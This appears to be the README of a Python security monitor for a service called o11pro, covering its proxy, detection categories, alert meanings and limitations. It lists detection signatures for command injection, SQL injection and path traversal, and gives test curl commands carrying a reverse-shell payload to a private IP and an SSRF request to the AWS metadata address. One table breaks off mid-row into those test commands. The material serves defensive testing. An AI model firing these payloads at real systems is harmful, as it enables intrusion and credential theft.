# Security Monitoring Tools Real-time attack detection for `o11pro`. Monitors HTTP traffic, network connections, file access, and child processes all logged to `audit.log`. ## Files | File | Purpose | |------|---------| | `modules/monitoring.py` | Main monitoring script (Python, no external deps) | | `audit.log` | All events (INFO and above) created at runtime | | `audit_alerts.log` | HIGH/CRITICAL events only created at runtime | ## Quick start ```bash # All-in-one: start o11pro + HLS proxy + security monitor MONITOR=true ./RunMe.sh # Point your client at the monitor proxy instead of the real API: # Instead of: http://localhost:19999/api/... # Use: http://localhost:19998/api/... ``` All HTTP requests/responses passing through the proxy are scanned for attacks. Process activity (child processes, file access, network connections) is also monitored via `/proc`. ## Usage ```bash # Integrated mode (via RunMe.sh) MONITOR=true ./RunMe.sh # Direct invocation python3 modules/monitoring.py --proxy-mode # Monitor a specific PID python3 modules/monitoring.py --pid 12345 # Custom proxy port python3 modules/monitoring.py --proxy-mode --proxy-port 8080 --target-port 19999 # Custom log location python3 modules/monitoring.py --log logs/audit.log --alerts logs/audit_alerts.log # One-shot scan (run once and exit) python3 modules/monitoring.py --once # Disable process or file monitoring python3 modules/monitoring.py --no-proc # HTTP proxy only python3 modules/monitoring.py --no-files # No file watching ``` ## What it detects ### HTTP traffic (via proxy) | Category | Severity | Examples detected | |----------|----------|-------------------| | **Command injection** | CRITICAL | `;cat /etc/passwd`, `$(cmd)`, `` `cmd` ``, `bash -i >&`, `/dev/tcp/`, `| sh`, `&& wget` | | **SQL injection** | HIGH | `' OR '1'='1`, `UNION SELECT`, `xp_cmdshell`, `DROP TABLE`, `INTO OUTFILE`, `SLEEP()`, `--` | | **Path traversal** | HIGH | `../`, `..\\`, `%2e%2e%2f`, `....//`, `/etc/passwd`, `~/.ssh`, null bytes | | **XSS** | MEDIUM | `","password":"x"}' # SSRF (AWS metadata) curl "http://localhost:19998/api/proxy?url=http://169.254.169.254/latest/meta-data/" # Reverse shell curl -X POST http://localhost:19998/api/login \ -H "Content-Type: application/json" \ -d '{"username":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","password":"x"}' # Check the logs cat audit_alerts.log ``` ## Interpreting the logs ### High-severity alerts to investigate immediately | Alert type | What it means | Action | |------------|---------------|--------| | `attack_reverse_shell` | Someone tried to spawn a reverse shell via the API | Block the source IP, investigate the request | | `attack_command_injection` | Shell command injection attempted | Block the source IP, check if the command executed | | `suspicious_process` | The o11 binary spawned `sh`, `bash`, `nc`, etc. | **Critical** may indicate the binary is compromised | | `suspicious_file_access` | The binary opened `/etc/passwd`, `~/.ssh`, etc. | Investigate may indicate credential theft | | `potential_exfil` | >100 MB sent outbound in 2 seconds | Check if legitimate (streaming) or exfiltration | | `ssrf_internal` | Connection to internal/private IP | Check if legitimate (DB) or SSRF attack | ### Lower-severity events to monitor | Alert type | What it means | |------------|---------------| | `attack_xss` | XSS payload in request check if reflected in response | | `attack_sql_injection` | SQLi payload check if the API is vulnerable | | `attack_path_traversal` | Path traversal attempted check if file was accessed | | `attack_credential_exfil` | Credentials in request may be legitimate auth or exfil | | `unexpected_port` | Connection to non-standard port may be legitimate | | `file_change` | Config file modified verify it was authorized | ## Limitations 1. **No TLS inspection** the proxy can only scan HTTP, not HTTPS. For HTTPS, configure the o11 binary to use HTTP internally and terminate TLS at a reverse proxy (nginx) that forwards to the monitor. 2. **Process monitoring is polling-based** fast-lived child processes (<2 seconds) may be missed. Lower `SCAN_INTERVAL` for better coverage. 3. **No memory inspection** the monitor can't see what's in the process's memory (would need `gdb` or `ptrace`). It only sees file descriptors, network connections, and child processes. 4. **False positives** the "shell metacharacter" rule is aggressive (matches `;`, `|`, `&`, `$`, `(`, `)`). Legitimate requests containing these characters will trigger alerts. Tune the regex in `ATTACK_SIGNATURES` if needed. 5. **Single-process monitoring** only monitors one PID. If the o11 binary spawns helper processes that make their own connections, those won't be tracked unless you monitor the children too. ## Integration with RunMe.sh For a fully monitored deployment: ```bash # All-in-one: o11pro + HLS proxy + security monitor MONITOR=true ./RunMe.sh 19999 2 # Watch the alerts in real-time (in another terminal) tail -f logs/audit_alerts.log | python3 -c " import json, sys for line in sys.stdin: d = json.loads(line) print(f\"[{d['severity']}] {d['type']}: {d['details']}\") " # Use port 19998 for all client access (instead of 19999) # The monitor will scan every request and response through the proxy ```